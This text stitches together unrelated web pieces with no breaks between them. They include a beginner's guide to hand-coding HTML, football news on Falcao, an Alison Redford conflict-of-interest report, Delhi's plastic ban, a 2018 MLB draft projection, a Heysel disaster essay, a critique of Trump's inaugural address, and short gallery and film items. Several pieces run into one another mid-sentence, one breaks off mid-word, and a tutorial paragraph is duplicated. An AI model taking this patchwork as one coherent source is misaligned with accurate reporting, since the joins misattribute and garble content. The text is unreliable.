Make No Mistake About This... here you will learn how to actually build web pages yourself, using a text editor on your PC (and "publish" them to the Internet... becoming a Real Live Web Author), from SCRATCH... unlike many free Blog Sites or Free Page Builders or HTML Editors (like Microsoft's Frontpage or Dreamweaver) that provide all the preformated codes for you... BELIEVE ME when you learn how to build from the "ground up" by Hand Coding, you'll be far ahead of others who choose those blog builders or HTML Editors or Facebook, Twitter or Myspace host builders... or even WordPress...that are offered elsewhere... where you "click buttons" and presto, your page is built for you... BUT YOU LEARNED NOTHING ABOUT IT! and of course you'll spend NO MONEY here!!! (except perhaps if you later want to use a Pay Web Host, and/or if you want to purchase your own Domain Name... these options will be available at anytime, but are absolutely not necessary to get started here...) And of course, you'll SAVE HUNDREDS of $$$ by not paying a Web Design Firm to build your site!
A Hungry man, if you give him a fish, he eats for a day; but if you teach him how to fish, he eats forever...
You can simply make your Site about yourself...your interests, ideas, hobbies, thoughts, experiences, things for sale...or make it about, really anything you want as long as it's legal, has no references to pornography or hate groups (unless your Host allows it) and doesn't accept payment from anyone to advertise on it (unless your Host allows it)...
So Let's Begin The Learning Process
REQUIREMENTS FOR BUILDING A WEBSITE
You must have Internet Access with a Personal Computer (Smart Phones or Tablet Computers are not practical for Web Design)...
HOLD ON NOW... if you think that you can learn Web Design instantly... you have a bit to learn! It typically takes a beginner (with average desires and abilities) about 1-2 weeks before they can get a decent web page up and going on the World Wide Web! That's assuming about 1-2 hours per day of working at it! So if you are in a big hurry... you might just forget it right now! Bye...
HOLD ON NOW... if you think that you can learn Web Design instantly... you have a bit to learn! It typically takes a beginner (with average desires and abilities) about 1-2 weeks before they can get a decent web page up and going on the World Wide Web! That's assuming about 1-2 hours per day of working at it! So if you are in a big hurry... you might just forget it right now! Bye...
You need to get a Paper Notebook of sorts and jot down notes and info as you go along... it's really a bit like going to school... if you are Serious About This... so just BOOKMARK this web site and go thru ALL of the Design Series pages... take your time, take notes and come back and study and learn daily... and before long you'll be really "cookin" with Web Design... I promise!
First...you need to learn HTML (Hypertext Markup Language)... any webpage is nothing more than a simple text document (like a written letter) but it is "marked-up" with special CODES using HTML, CSS and JAVASCRIPT... these Codes tell Web Browsers (the software program that you use on your PC to find and display Webpages... like Internet Explorer, Firefox or Google Chrome) that the document is infact a webpage and how to render or show the document to you on your screen producing the page as you instruct it, giving it layout structure, adding colors, lines images etc. So actually "Building A Webpage" is really just writing the HTML Document for the page, which is referred to as the "Source Code" or just the "Source" and it is stored as a file, with a name (something like "webpage.html"), on a Web Host Server Computer which is connected to the Internet... the exact location of this file on the Internet is called it's URL (Uniform Resourse Locator)...for example, "www.your_domain/webpage.html"...
To "see" a source code, for example, for THIS PAGE (that you are currently viewing), all you have to do is RIGHT CLICK ON AN OPEN PLACE ON THIS (or any) WEB PAGE... then choose "View Source" from the small window that opens up... you will then get another window that opens from your PC default text editor, and all the HTML Coding, that was built to construct this web page, will be shown to you! Try it now! WATCH OUR: View Source Media Tutorial Movie takes a minute to load... player controls are at bottom! If you looked at that Source Code (for this page) you were probably Totally Confused... well, don't be... remember you will start simple and advance as you go along in your HTML Learning process... So let's say you just wanted to make a page titled "My Dogs" and on it you just want to say "Hello, I am going to show you pictures of all my dogs later on... but right now take a look at Fido"... then your source code could simply look like
this (click)... AND after the Browser interprets that HTML Code it will render the page like
this (click)... Now lets say you want to add a hypertext link at the bottom of that page to, say Yahoo.com (just as an example)... So now the source code will look like
this (click)... and in the Browser it will look like
this (click)... WATCH OUR: HTML Coding Tutorial Movie You should learn HTML at W3Schools...We STRONGLY RECOMMEND that you read and use Our Recommended Design Sites above others that you may find on the web! Our Policy is to direct you to the BEST existing online sources for Learning HTML... rather than try to teach it to you here at our site! Next...you can use a simple Text Editor Program on your PC to write and create and save your Web Page Source Code Documents... we highly recommend Word Pad... Next...you need to select and sign-up with an Online Web Host which will provide you with the actual webspace and Online Web Server where you will store and serve your web page documents from (to users who want to access your web pages from their PC's)... You could use YOUR COMPUTER as a Web Host but it would have to be turned 'on' all the time and would have to be totally reliable... so forget it, use a real Web Host! There are two basic types of Web Hosts... Free Hosts...(No Cost but most will place their own advertisement banners onto all of your web pages... TIP: use a Free Host while learning, then switch to a low cost Pay Host after you become better at it)...You can
Find A Free Host Here
Find A Free Host Here Pay Hosts...(Cost Varys from about $3 and up per month (depends on features, bandwidth etc) but NO banners will be placed onto your pages)... You can
Find A Host Here with all the features that you want, however we recommend Aplus.Net... very reliable, fast and low-cost! Finally...to copy your Web Page HTML Documents from your PC to your chosen Online Web Host Server (so that they will be accessible to anyone online)... you need to Download an FTP (File Transfer Protocal) Program (An Application) and set it up and learn how to use it... we highly recommend FileZilla, it's a Free Download (read on about FTP info...)
In Summary
How To Build Web Pages 1)Study & Learn HTML (and CSS) online [this takes time... treat it like a school course... use a notebook and take notes ] Recommended Design Sites 2)Use a text editor on your PC [use Word Pad ] to write the HTML source code for the web page... Here's A Tutorial 3) Choose an online Web Host to store and serve your web page to users on the WWW [ practice with a free Host first ] Free Host Listings 4) Download a free FTP [file transfer program] to your PC and learn how to use it to copy [transfer] your HTML web page document from your PC to your online Web Host [and visa-versa]... use FileZilla Here's A Tutorial That's It... Practice... Practice... Practice... use a good Web Browser to view your pages [use Google Chrome ] Get It Here Free
Now Let's Recap All Of This...
YOU begin by writing the code(s) for your webpage by using a text editor on YOUR PC; using your knowledge of Coding; and using your learned knowledge of good Web Page Design...
Then with that saved web page document on your PC, you use an FTP Program which you have chosen to download to your PC, to Transfer or Copy that document to another computer, called a Web Host Server, which you also have chosen to sign up to, for storing and serving your document to other people on the Internet...
So in the end, your web page now has a location and address on the Internet... and still also has it's file stored on YOUR PC. Both the Internet file and yours on your PC text editor are written in HTML and other Codes and are the SAME Identically!
When you want to make a Design Change to your web page, you simply pull up your text editor, find the document, and type out the change with new Code... then SAVE it, then go to your FTP Program, and find the file, connect up to your online Host, and Transfer the file from your PC to your Host... and it will now show up (with the change) to users when they go to your web page (they might have to Reload the page from the Server to get the latest Code)...
So this is how you become a Webmaster for your webpage!
Now you can Design more pages on your subject and link them all together using HTML... and create a real WEBSITE!
So Now That You Know The BASIC Requirements...
After You Learn HTML... You can simply use an Offline text editor on your PC like Word Pad and write your HTML webpage source code document ( Here's A Tutorial ) and then UPLOAD it to your online Web Host Server by using an FTP Program (File Transfer Protocol) such as FileZilla... Read our FTP Tutorial. Remember if you just leave your HTML File on your PC, no one can find it, it must be Uploaded to an ONLINE Host Server...then when anyone clicks a link to your web page or types your web page address (URL) into an address box, their Web Browser will find your web page, interpret the HTML Source Code, and render the completed document into their Web Browser... After you achieve a more understandable level of HTML, you can choose a Pay Host... For Pay Hosts we recommend Aplus.Net
To Get Started With A Web Host... You can use a Free Web Host... See Free Host Listings...you will need to FTP (File Transfer Protocol) your web page documents from your PC to the Free Host Server which is explained to you at their site (after you log in and create a web hosting free acount)...
Practice at a Free Web Host, until you get the hang of writing HTML, then if you're SERIOUS, open an account at a low cost Pay Professional Host, which, depending on where you finally decide, will give you many more design features than any Free Host will, including the ability to have your very own DOMAIN NAME...The Colombia coach, José Pékerman, has vowed to restore Radamel Falcao’s confidence during the South American country’s mini-Asian tour next week.
The Argentinian manager named the Manchester United striker in a 24-man squad for Colombia’s upcoming games against Bahrain and Kuwait, before claiming he was desperate to meet the 29-year-old to help rejuvenate the player’s career.
“It’s a huge problem that we need to resolve; this problem is as large as the sadness that Falcao is going through right now,” Pékerman said. “I feel I need to support him because I understand how hard it is for him and the difficult moment he is experiencing. I want to work with him again and help him restore his confidence.”
In next week’s international break Colombia will play their first games of 2015 in a double header in the Middle East, and Pékerman has backed his struggling forward to use the opportunity to rediscover the form that made him one of the most feared goalscorers in the world.
“I know Falcao’s strengths, his mentality and his fighting spirit, and I’ve never doubted that he’ll come out the other side,” Pékerman said. “He’s in a bad moment, but he’s looking after himself and this week is going to be very important for him.”
Falcao’s slump in form at Old Trafford has left many doubting where the on-loan striker’s future lies, with Manchester United needing to decide whether to take up a £43.2m option to buy the Colombian at the end of the season. While that possibility currently seems extremely unlikely, back in Falcao’s native Colombia many blame the Manchester United manager, Louis van Gaal, for the striker’s form, particularly after Falcao was relegated to the Under-21 team for a recent match against Tottenham.
But Pékerman refused to criticise the Dutch coach for the humiliation, despite assuring that he is “on Falcao’s side”.
“Without being there you can’t really comment about these matters. In terms of decisions taken regarding coaching methods, players the manager chooses or in which team a player plays for, I don’t think I should comment on that.
“Of course, on a human level I’m on Falcao’s side because I know that he’s suffering and he deserves the opportunity to work better and to have his chance to show that he’s OK. But it’s not my job to judge the decisions of another coach.”
Pékerman, who led Colombia to a historic quarter-final finish at last year’s World Cup, also named the Arsenal goalkeeper David Ospina, Aston Villa’s Carlos Sánchez and the new Chelsea signing Juan Cuadrado in his latest squad.
Standing in third place in the Fifa world rankings, Colombia face Bahrain next Thursday before travelling to Dubai to play Kuwait four days later as part of preparations for this summer’s Copa America where Los Cafeteros will start as one of the favourites.Another investigation has cleared former Alberta premier Alison Redford of wrongdoing on how she selected a law firm to sue tobacco companies on behalf of the province.
Redford was Alberta’s justice minister in 2010 when she chose a consortium of law firms that included a company that employed her former husband.
The $10-billion lawsuit is to recover smoking related health-care costs.
An investigation in 2013 cleared Redford, but a second probe found the first review did not have access to all of the relevant documents.
Alberta’s ethics commissioner then asked her counterpart in British Columbia to investigate to determine if there should another investigation.
READ MORE: B.C. conflict commissioner to review investigation into Alison Redford tobacco file
In a report released Monday, Paul Fraser, B.C.’s acting ethics commissioner, says Redford did not break Alberta’s Conflict of Interest Act.
“I have found on a balance of probabilities that Ms. Redford did not improperly further another person’s private interest in making her decision and, therefore, did not breach the Conflicts of Interest Act,” the report says.
The report says Redford selected a consortium known as International Tobacco Recovery Lawyers (ITRL) to represent Alberta and that her former husband, Robert Hawkes, was a partner in one of the firms.
ITRL was selected out of three consortium applicants to handle the lawsuit.
Fraser says he focused on whether Redford’s decision improperly furthered Hawkes’ private interest.
READ MORE: Conflict of interest forces ethics commissioner to have BC counterpart weigh in on Redford matter
“In making the choice of counsel in the tobacco litigation, she used sensible and principled reasoning, based on cogent information she received in the briefing note from government officials and that she had collected in the course of her active tenure as Minister of Justice and Attorney General,” the report says.
In a statement, Alberta Justice Kathleen Ganley thanks Fraser for his work but offers little other comment.
“The report was just tabled in the house this afternoon, and we will be reviewing it,” she says.
The consortium remains in charge of the lawsuit.India's capital city has taken a strong stand against plastic pollution, but now it needs to convince its residents.
India’s capital city, Delhi, has taken a courageous step toward fighting plastic pollution. In December 2016, the National Green Tribunal (NGT) voted to pass a law banning the use of all disposable plastics throughout the national capital region. This came into effect on January 1, 2017.
The decision applies to all disposable plastics, including produce bags, chai cups, and cutlery. While the change is meant to reduce the staggering amount of plastic pollution generated by India, not everyone is supportive of the change. Many fruit and vegetable vendors are concerned they will lose business, as customers will go elsewhere if they cannot get a bag in which to carry their purchases. Other wish there had been more time to get used to the idea of such a ban.
In the eyes of environmentalists, however, there is no time left to waste. India and four other Asian nations are the top plastic polluters in the world. They are responsible for an estimated 60 percent of the 8.8 million tons of plastic that are added to the world’s oceans each year. If current rates continue, Asia will be dumping 80 percent of the world’s plastic at a rate of 200 million tons a year by 2025. That’s not very far off, which means action is needed now.
Delhi’s ban is partly reaction to three local dumping sites – Okhla, Gazipur, and Bhalswa – that operate as waste-to-energy plants, but, according to residents, use illegal mass burning technology that creates air pollution. The National Green Tribunal stated:
“Each of these sites is a depiction of mess that can be created for environment and health of people of Delhi.”
The plants have been ordered to comply with the law and will be fined US $7,300 per subsequent pollution incident.
A fine of US $147 will also be charged to vegetable and fruit vendors and butchers for throwing garbage into the streets.
While the ban is a great idea in theory, it remains to be seen how the implementation gap is resolved. People need to learn about alternatives, like the reusable cloth bags that are ubiquitous in North America but have yet to permeate the mainstream in India. There are also paper bags, which contribute to deforestation but do not create the waste problems that plastic do, although Indian vendors complain that paper cannot support as much weight.
Another odd alternative, cited by Manon Verchot in a report for The Quint, is edible plastic bags, invented by an Indian company called EnviGreen. While not recommended for human consumption, these bags are thought to be less harmful to the many animals that roam Indian streets, rooting through garbage.
How the city plans to deal with disposable plastic water bottles is unclear, as these are pretty much a standby for residents and travellers.
Plastic bans and zero waste innovation are not altogether new in India. TreeHugger has written about cities such as Vasco, in Goa, that implemented a "zero garbage" scheme way back in 2003. Delhi created a ban on plastic bag manufacturing in 2010, and an Indian company invented edible cutlery for on-the-go meals. Clearly it's a conversation that the country continues to engage in, to varying degrees of success.
Nonetheless, the ban in Delhi, as the national capital, is symbolically important. Hopefully it will get people talking and thinking about the long-term effects of every piece of plastic we accept and inspire them to generate less waste on a daily basis. With a country as populated India, this has potential to add up and make a big difference.Minnesota made Royce Lewis, whom many scouts believe may move to center field, the No. 1 overall selection on Monday. At this point, Brice Turang is the favorite to headline the 2018 Draft. "He does everything better than Royce Lewis," one evaluator said, "except Lewis is going to hit for more power."
The Twins opened the 2017 Draft by taking a California high school shortstop. Whoever gets the first choice in 2018 figures to do the same.
The Twins opened the 2017 Draft by taking a California high school shortstop. Whoever gets the first choice in 2018 figures to do the same.
Minnesota made Royce Lewis, whom many scouts believe may move to center field, the No. 1 overall selection on Monday. At this point, Brice Turang is the favorite to headline the 2018 Draft. "He does everything better than Royce Lewis," one evaluator said, "except Lewis is going to hit for more power."
Here's our way-way-too-early projection for the first 10 picks next June, basing the Draft order on the big league standings through Thursday's games.
:: 2017 MLB Draft coverage ::
1. Phillies (22-43): Brice Turang, SS, Santiago HS (Corona, Calif.)
Said the evaluator of the son of former big leaguer Brian Turang: "He's like Christian Yelich, the swing is very similar, but with more speed and he can play shortstop."
2. Giants (26-42): Brady Singer, RHP, Florida
The Cape Cod League's top prospect last summer, he follows A.J. Puk and Alex Faedo as the latest Gators ace with designs on going No. 1.
3. Padres (27-40): Jarred Kelenic, OF, Waukesha (Wis.) West HS
The latest gem from Wisconsin stands out most for his advanced hitting skills but also has true five-tool ability.
4. A's (28-36): Kumar Rocker, RHP, North Oconee HS (Bogart, Ga.)
The top prep pitcher is extremely physical, already reaches the mid-90s with his fastball and flashes a nasty slider.
5. Reds (29-36): Joe Gray Jr. OF, Hattiesburg (Miss.) HS
He has the best raw power in his Draft class, as well as the speed and arm strength to play anywhere in the outfield.
6. Braves (29-36): Seth Beer, 1B, Clemson
After loading up on pitchers with recent first-round picks, Atlanta gets 2018's best college power hitter.
7. White Sox (29-36): Tristan Casas, 1B/3B, American Heritage HS (Plantation, Fla.)
Reclassified from 2019 to 2018 in January, he'd give Chicago another basher to go with 2017 first-rounder Jake Burger.
8. Marlins (29-35): Luken Baker, 1B, Texas Christian
Yet another slugger, he's missing the Horned Frogs' College World Series run with a broken arm.
9. Pirates (30-36): Konnor Pilkington, LHP, Mississippi State
2018's top southpaw has a strong frame, a fastball that reaches 95 mph and a pair of potential solid secondary pitches in his curveball and changeup.
10. Cardinals (30-35): Nick Madrigal, 2B/SS, Oregon State
The sparkplug of the 54-4 Beavers' No. 1-ranked team may be just 5-foot-7 and 161 pounds, but he hits line drives, steals bases and is a sure-handed defender.Luke Shuey received a free kick for this tackle in the final minute
THE AFL umpiring department has given the all clear to the free kick paid to West Coast midfielder Luke Shuey in the final minute of the Eagles' thrilling extra-time win over Port Adelaide on Saturday night.
Port Adelaide was leading by four points with 17 seconds to go when ump |
, Italy and elsewhere they laid the blame at our violent culture, the legacy of colonialism, the arrogance and stupidity of the Thatcher government. In Britain itself, the government, the football authorities, the press and the television were stunned. 'It isn't that we're numb,' said Margaret Thatcher. 'We're worse than numb.' For once the tabloid headlines had it right: this was literally, as the Mirror put it, 'the day the football died'.
In the immediate aftermath, there was widespread anger and confusion. In Italy, the British embassy and other national interests were attacked. Across Europe and the world, English working-class males, particularly those from Liverpool, became a byword for ignorance and savagery. In Britain, Thatcher cancelled a cabinet meeting and declared war on 'the hooligan problem' with much the same rhetoric as she had vowed to wipe out the striking miners' unions.
Within days, Liverpool chairman John Smith announced that the club would be withdrawing from the following season's Uefa Cup. Within hours of this announcement, under pressure from Thatcher herself, the Football Association announced that English clubs would be banned from Europe for a year. This was still not enough and two days later Uefa, the game's European governing body, declared that all English clubs were banned from Europe for an indefinite period. In practice this would be five years.
This punishment was followed by the arrest and deportation of Liverpool fans, identified in the press and on television, in what was the largest and most bizarre criminal deportation in British legal history. The Liverpool Echo assumed the role of guardian of the city's conscience and declared 29 May as the blackest day. It reported that Bill Shankly's widow, Nessie, had turned off the match to pray for the victims. In the days to come the letters' page was filled by fans' accounts of the disaster. The predominant emotion was disgust and self-hate mixed with an urgent desire for expiation.
One lad confessed that he had been part of the charge in 'Sector Z' but had broken down weeping when he saw what he had done. There was a cover story about the 'heroic Scouser who saved lives'. In stark contrast, K Martindale of Mossley Hill wrote to the Echo to say he had seen fans pick-pocketing and kicking the corpses. On the ferry from Zeebrugge, disgusted and traumatised, he reported that a grinning lout had boasted: 'We killed forty!'
The truth was that nobody in the city knew how to react. Partly this was because it was so hard to work out what had happened exactly, especially if you had actually been there. Fans' stories varied wildly, laying the blame at, variously, aggressive Juve fans, the cowardly Belgian police, the decrepit stadium. Like many supporters, Steve Kneale, now working for Liverpool City Council, knew nothing of the full extent of the tragedy until he and his mates saw the headlines the following day. 'We were reading the papers in a hotel and everybody around us - French and Belgians - were all silent and didn't want to speak to us,' he told me recently in Liverpool.
'I remember one of the lads, an older feller who'd travelled most with Liverpool, saying quietly that we should just go home. We went out into the street and this old woman spat at us and started shouting in Flemish.' The Echo devoted swaths of space to witnesses' accounts reporting that the riot had been the work of the National Front, Chelsea or Leeds supporters or had even, as one diehard Red insisted, been provoked by disgruntled Evertonians. Liberal councillor Peter Millea, who was at the match, told the Echo he distinctly made out a contingent of skinheads wearing Union Jack T-shirts and speaking with cockney accents.
'No Scousers dress like that,' he said, 'and it was clear they had just come for trouble.' Liverpool chairman Smith issued a statement saying that the troublemakers were NF supporters, probably from London, and that a shot had been fired before the worst part of the riot.
Fans desperately wanted to believe that all of this was true. Most of these rumours have long since been dismissed as fabrications. John Williams, of the Sir Norman Chester Centre for Football Research at Leicester University, is however still unsure about what actually took place on the terrace. Williams is probably the foremost authority on football culture in the Seventies and Eighties, and is a lifelong Liverpool fan. It was his direct knowledge of Anfield that made him sceptical then and now about the official accounts of what happened.
'None of these rumours about National Front supporters was ever proved, or ever will be proved,' he says, 'and it is true that these urban myths are a neat way of avoiding reality. But to anybody at the time who knew the culture of Liverpool FC and its supporters, there was something that rang false in all the media accounts. The fact remains that Heysel was totally alien to Liverpool football culture.'
Williams argues that Liverpool terrace culture was at odds with the kind of hooliganism that blighted the game from the mid-Seventies onwards. 'There were often fights at matches,' he says, 'but in general Liverpool fans were not really interested in violence, although they could look after themselves. The idea of being a "scally" was to be above the kind of pointless destruction which neanderthals like Leeds or Chelsea or England fans went in for. That is why Liverpool fans were never organised into firms; there were just small bunches of mates who stood together at the match or in the pub. It was okay to steal - as long as what you stole was designer stuff from Europe or wherever. It was just funny stuff, larking about.'
A similar ethos was promoted in The End, the most popular Anfield fanzine of the era. Funnier than Viz and sharper than the Face, it was firmly rooted in a scally culture of robbing, smoking 'draw' and shagging. The fanzine was celebrated by John Peel, among others, who wore a The End T-shirt on Top of the Pops, and in the pages of the NME and Sounds. Its editors (who included Peter Hooton, who would later find fame with the band the Farm) mocked 'agriculturals' and 'woollybacks' from Manchester and Leeds (the striking miners were the one exemption to this code on the grounds of their attacks on the southern establishment).
They laughed long and loudest at Cockneys (and particularly Chelsea fans) for their stupid accents and lousy clothes. If this was a fiercely parochial view of the world, it was not especially violent ('All football hooligans are dickheads,' was a common refrain on the letters' page). The End was, in its own way, the heir to the irreverent and clever Liverpool tradition of the 1960s, which produced the Beatles and a whole generation of artists, comics and writers.
But this was not, by 1985, how the rest of England saw Liverpool. By then, the city was noted for industrial decline and social unrest. In a country changing to keep pace with the hucksterism of the Thatcher counter-revolution, Liverpool, with its unemployment, riots and far-left politics, seemed a strange and separate place. Peter Hooton was at Heysel. He is honest enough to concede that Liverpool fans were responsible for what happened.
'I'd never say they weren't Liverpool fans because they obviously were,' he says now. 'There was none of this mythical "organisations" from London or other people.'
The shock of Heysel for Hooton and others was that it confirmed the outside world's view of Liverpool. Most significantly and damagingly, it revealed a dark side to the city's culture to those who thought they knew it best. This is one key reason why Heysel remains largely a taboo subject in Liverpool.
A second is that feelings over Heysel are also related to the Hillsborough disaster of 1989, when 95 Liverpool fans were crushed to death, with another dying later. Then, Liverpool fans were the victims. This did not make Hillsborough any less traumatic, but it did mean that it was easier to come to terms with. As one witness to both Hillsborough and Heysel put it: 'It is the difference between a bereavement and a murder.'
One of the most extraordinary and, for many, still shameful facts about Heysel is that the match actually took place. The accepted truth is to say that if it hadn't there would have been a bloodbath in the streets. Nobody can say at this distance whether this would have been the case, but given the disgracefully bad policing, it may well have happened. Another accepted truism is to say that when the kick-off took place everybody had forgotten the football. But this wasn't strictly true, not for thousands of fans in the stadium, and not where I was standing at the time.
Certainly I was not alone in the crowd of fans in a bar in France in willing Liverpool to win. We complained loud and long about the phoney penalty, scored by Michel Platini, which won Juventus the Cup. As the match finished, a window in the cafe was smashed. We walked out of the bar to face a small mob of locals. We tore into the pack. We weren't psychopaths or even normally football hooligans. But we fought as hard we could.
Even 20 years on, I find it hard to explain this. How could anyone justify more violence in the immediate wake of a televised massacre? The simple reason is that we refused to be ashamed of who we were. Many of those in Heysel that night have told me that they felt the same emotion. Guilt was inextricably linked to defiance, which in turn created more violence. One of the most penetrating studies of these emotions is to be found in the 1991 book Amongst the Thugs by Bill Buford, which was written explicitly as a response to Heysel.
Most devastating of all is Buford's firsthand account of the excitement of terrace violence, the electricity that sweeps through a mob, turning it into a murder machine. He quotes Susan Sontag and Georges Bataille to explain that the real attraction of hooliganism is to be found in the 'elation of transgression', a 'druggy high' when everything is perceived in'slow motion and great detail'.
Fascinatingly, Buford - an educated middle-class American, a stranger to football culture - is drawn in and enjoys the violence he comes to report on. My own final memories of Heysel are, in the same way, not just shame but also, at some deep and untouchable level, the exhilaration of combat. All football fans understand this, viscerally. In Fever Pitch, Nick Hornby puts it in simple but extremely effective terms:
'The kids' stuff that proved murderous in Brussels belonged firmly and clearly on a continuum of apparently harmless but obviously threatening acts - violent chants, wanker signs, the whole, petty hardact works - in which a very large minority of fans had been indulging for nearly 20 years. In short Heysel was an organic part of a culture that many of us, myself included, had contributed towards.'
Heysel has inspired few cultural responses. Liverpool playwrights Willy Russell and Alan Bleasdale were at their prolific best during this period, but produced no major work that dealt with the subject. One low-key response from high culture was 'Memorial' by Michael Nyman. This elegiac piece was performed once only, in a warehouse in Rouen, days after the disaster. It was described in the Guardian by Waldemar Januszczak as 'a small piece of atonement'. It resurfaced as part of the soundtrack to the Peter Greenaway film The Cook, The Thief, His Wife and Her Lover but has been forgotten or ignored by those who were at Heysel.
Appropriately, Nyman's work, intended as a homage to the dead, has indeed had a greater impact in Europe, where one Italian critic described it as an 'inexpressibly sad and epic funeral march'. European commentators on Heysel have seldom engaged with, let alone understood, the intricacies and nuances of English football cultures. However, a few recent works have provided useful insights.
One of the most powerful and moving is a 2003 book from Italy called Le verità sull'Heysel ('The truths on Heysel') by the veteran sports journalist Francesco Caremani. This is an attempt to understand the violence from the point of view of those who are attacked and killed. This does not make it a book written against Liverpool fans or Liverpool FC, but rather, as Caremani himself says, 'a book about human motives and suffering'.
Most important, and most bravely for a writer writing from the Italian point of view, Caremani does not flinch from describing all those present at Heysel as victims in the sense that they were playing roles in a larger tragedy that they did and could not understand at the time. This is the perspective of the French media theorist Jean Baudrillard, who devotes a chapter in his book The Transparency of Evil to Heysel.
His analysis is uncharacteristically straightforward and clear-eyed. He says Heysel was a primitive but devastatingly effective form of 'interactive television'. He points the finger at the Thatcher government's war with the miners (which he describes as'state terrorism'), which he says was bound to lead directly or indirectly to eruptions of violence at sporting 'pseudo-events'.
Heysel, says Baudrillard, did not happen by chance; it was the inevitable result of the desire of spectators to turn themselves into actors. The nature of the violence itself - crude, tribal and pointless - was a cultural reflex conditioned by circumstance and environment. For once Baudrillard is not overstating the case for effect. It is easy to forget what a violent and unstable place Britain was in the early 1980s and how poor the conditions were for football fans during this period.
Since the early 1970s English fans had been wreaking havoc in Europe and, at home, on each other. Their behaviour was received with platitudes and inertia from the media and the government. Those who ran the game, those who could do something about the bad grounds, the lousy security, the climate of hate and the racism, invariably looked away. Everybody who attended a match during this period knew that something was deeply wrong.
Heysel changed everything about the culture of English football, much of it ultimately for the better. Its antithesis was probably Italia 90 when, in a fog of spliffed-out bliss and to the soundtrack of New Order, English football began its long renaissance. Since then we've moved on to the age of the 'post-fan', the age of consumers rather than supporters.
Even so, no one these days can seriously wish for a return to the bad old days before the Taylor report, the judicial inquiry commissioned in the wake of Hillsborough that led to widespread reform, including all-seat stadiums and intelligent policing. And yet there remains a strong sense in Liverpool, England and Europe that what happened at Heysel is unfinished business.
For a variety of reasons, it has not been quite expunged from memory. Perhaps it never will be. The hard line of Uefa has had far-reaching consequences for the game in England and there are still those (such as Howard Kendall, then manager of Everton, who had won the Cup Winners' Cup that month and stood poised for the Champions Cup in the following season) who talk regretfully about lost opportunities and a lost generation of English players.
They blame Liverpool fans for destroying a whole era in football history and for ending the dominance of English clubs. The truth is that the collapsed wall at Heysel was a deadly metaphor for the gathering destructive forces that brought English football culture to its knees. Most significantly, Heysel marked the culmination of a long trajectory of violence and neglect in England's football culture, which, despite the success of its clubs in Europe, was heading inexorably for self-destruction.
Looking back, it is a miracle that anyone has made it out of the wreckage.
· Andrew Hussey is a contributing editor of Observer Sport Monthly. He is the author of The Game of War: The Life and Death of Guy Debord (Pimlico). He is writing a history of cultural subversion in Paris to be published in Penguin in 2006. His interview-profile of Zinedine Zidane was published in our issue of April 2004And lo, it came to pass. As prophesied by The Simpsons – though not, as some believe, by The Book of Revelation – Donald J. Trump became President of the United States.
Even the haters and losers memorialized in Mr. Trump's tweets hoped that the noble mantle of the presidency would make him, on this monumental day, presidential. That he would put his hands on Lincoln's Bible, summon the better angels of his nature from the cave to which they'd been banished, and rise to the occasion. Perhaps, we hoped, a fairy tale transformation would occur at the stroke of noon, and a sexist bully would magically transform into a man of grace and compassion, who would unite his fractured country.
It was not to be. Fairy tales are for multiplexes, not for the steps of the Capitol, where three former presidents sat and listened, and one watched his legacy begin to slip away. Mr. Trump's speech, by the standards of inaugural addresses, was astonishingly dark and menacing, free of any of the poetry or joy that his 44 predecessors had summoned to inspire their citizens. Eighty years ago, Franklin Delano Roosevelt used his second inaugural address to ask, "Have we found our happy valley?" No, Mr. Trump answered: We're on the road to hell, and I'm the one who can save you from it. This lie is told by populists throughout the ages – the road has crumbled, but I can show you a safer path. Just close your eyes and believe.
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Adam Radwanski: Key moments from Trump's inaugural address, annotated
Opinion: It was a screed less than a speech: Trump's endless tweet
John Doyle: Inauguration TV: A divided nation severed by a very divided media
Against all empirical evidence, he suggested that America was crime-ridden and busted. He referred to "this American carnage," which sounds like an NPR show hosted by Mad Max. He railed against the government elites that had ruined the country: "Washington flourished – but the people did not share in its wealth. Politicians prospered – but the jobs left, and the factories closed."
I wondered what Jimmy Carter thought of that, sitting behind Mr. Trump. I wondered if he cast his mind back 40 years to his own inaugural address, when he'd said, "if we despise our own government we have no future." That was 1977, when the country really was in the dumps. Mr. Carter, too, was an outsider, a long shot, but he didn't spend his inauguration complaining about the thieves and meatheads in Washington. Instead he praised his high school teacher, and asked that the country "learn together and laugh together and work together and pray together, confident that in the end we will triumph together in the right." It's enough to make you long for a return to the '70s, even if we would have to listen to the Osmonds.
George W. Bush, 43rd president, sat on the stage too, although his father, number 41, was too ill to attend. Having waged a campaign that was as bitter as Mr. Trump's, with his victory cast in the same shadow of illegitimacy, Bush Jr. might have addressed the American people with the brutality and paranoia Mr. Trump showed: Instead, his inaugural address was a model of conciliation. He used the words "civility" and "compassion" four times each – possibly more than Mr. Trump has used those words in his life.
"I will work to build a single nation of justice and opportunity," Mr. Bush said, and even if that failed to materialize, he at least honoured the idea it might matter. The number of times Mr. Trump referred to the concept of "justice?" A big fat zero. (Yes, I'm stunned to feel nostalgia for Mr. Bush, but I've just seen Clarence Thomas swear in Mr. Trump's Vice-President, so nothing surprises me any more. I already feel like I'm having an acid flashback. I expect to feel this way for the next four years. Please send orange juice.)
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Traditionally, the new president has used his inaugural address as an opportunity to take the high road, and view the country from above – battered, perhaps, but united by its best and highest ideals. "We are the heirs of the ages," Teddy Roosevelt said in 1905, and then elaborated on it: "Upon the success of our experiment much depends, not only as regards our own welfare, but as regards the welfare of mankind." Mr. Trump's message, so seductive to so many voters, could not be more different: He claims to see a country fallen "into disrepair and decay," having to steel itself against "radical Islamic terrorism," where marauding drug gangs hole up in rusting factories while children fail at school. Or something like that; I was starting to get my apocalyptic plot lines mixed up at that point.
America is a magnificent project, held aloft by optimism and resilience. For more than two hundred years its presidents have marvelled at the delicacy and value of the entity that's been put in their hands. They admit to trembling at the terrible responsibility. They don't start by saying the thing is broken, or at least they didn't until today. If they did, it would suggest that it is not the country that's broken, but the person doing the speaking.A patch of fuzz
This page houses a gallery of an almost infinite number of images. The curator, a universal image generator, has the sole purpose of exhaustively displaying everything that can be displayed in this 32x32 4-bit space.
Although each image appears chaotic and random, the tiny bit of math and code that generates each frame guarantees that there are never any duplicates. The curator will display every possible image exactly once, and then halt. This task will take many times the predicted lifespan of the universe to complete.
Between the static, everything imaginable will eventually make an appearance. If you watch long enough, you will see: the face of everyone who has ever lived, true images of your birth and death, all false futures, the face of everyone who will never exist, messages only you can interpret, messages no one can interpret, infinite empty space, every spec of dust, a pale blue dot, a patch of fuzz, and a lot more static.Will Smith revealed a lot of Suicide Squad info during his interviews at CinemaCon this week, but the coolest piece of news is hearing that Batman and Deadshot will be squaring off!
Advertisement
